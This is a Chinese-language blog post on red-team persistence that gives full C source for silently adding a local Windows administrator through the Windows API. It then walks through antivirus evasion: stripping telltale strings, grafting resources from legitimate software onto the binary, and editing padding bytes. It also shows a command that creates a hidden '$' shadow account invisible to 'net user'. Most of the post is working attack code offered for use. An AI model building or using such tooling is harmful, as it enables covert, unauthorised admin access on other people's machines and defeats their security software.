权限维持之通过windowsAPI添加用户
添加用户可以用net useradd命令,但是这个有时候会被限制,所以要通过其它更隐蔽的手段添加用户
代码
程序很简单明了,主要功能就是接收参数作为用户名和密码,并将用户添加到管理员组,这里就不多说了
调用NetUserAdd添加本地用户
调用NetLocalGroupAddMembers将用户添加到组
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
int wmain(int argc, wchar_t* argv[])
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
if (argc != 3)
{
fwprintf(stderr, L"Usage:./this.exe <username> <password>\n", argv[0]);
exit(1);
}
ui.usri1_name = argv[1];
ui.usri1_password = argv[2];
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(NULL,
dwLevel,
(LPBYTE)&ui,
&dwError);
if (nStatus == NERR_Success)
fwprintf(stderr, L"User %s has been successfully added\n",argv[1]);
else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = argv[1];
NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){
printf("Administrators added Successfully!");
}
else {
printf("Administrators added Failed!");
}
return 0;
}
以上程序直接编译运行是会报毒的,因此要做简单的免杀处理
免杀
1. 修改代码,去特征
将一些报错信息和提示信息修改或者直接去掉,然后我这里用Visual Studio2019创建项目编译,生成二进制文件
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
int wmain(int argc, wchar_t* argv[])
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
if (argc != 3)
{
fwprintf(stderr, L"e u p", argv[0]);
exit(1);
}
ui.usri1_name = argv[1];
ui.usri1_password = argv[2];
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(NULL,
dwLevel,
(LPBYTE)&ui,
&dwError);
if (nStatus == NERR_Success)
fwprintf(stderr, L"%s add\n", argv[1]);
else
fprintf(stderr, "err:%d\n", nStatus);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = argv[1];
NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS) {
printf("s");
}
else {
printf("f");
}
return 0;
}
2. 修改资源
用Restorator2018将其它正常软件的资源直接复制到生成的二进制文件里面
3.用编辑器修改二进制文件
用二进制文件编辑器直接打开修改资源后的文件,然后在最后面将00空白处随意修改,保存
效果
直接添加用户360火绒没有反应
a.exe test$ password
这里可以尝试添加影子用户,就是添加以$结尾的用户名,这样用net user命令是看不到的,只能在注册表和计算机管理(compmgmt.msc)里面查看
总结
windows API是系统本身的功能,可以用于绕过检测,是红队常用的技术,这里一开始被360直接检测到也是由于里面的特征码早就被记录,只要稍微修改,轻易就能绕过。
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!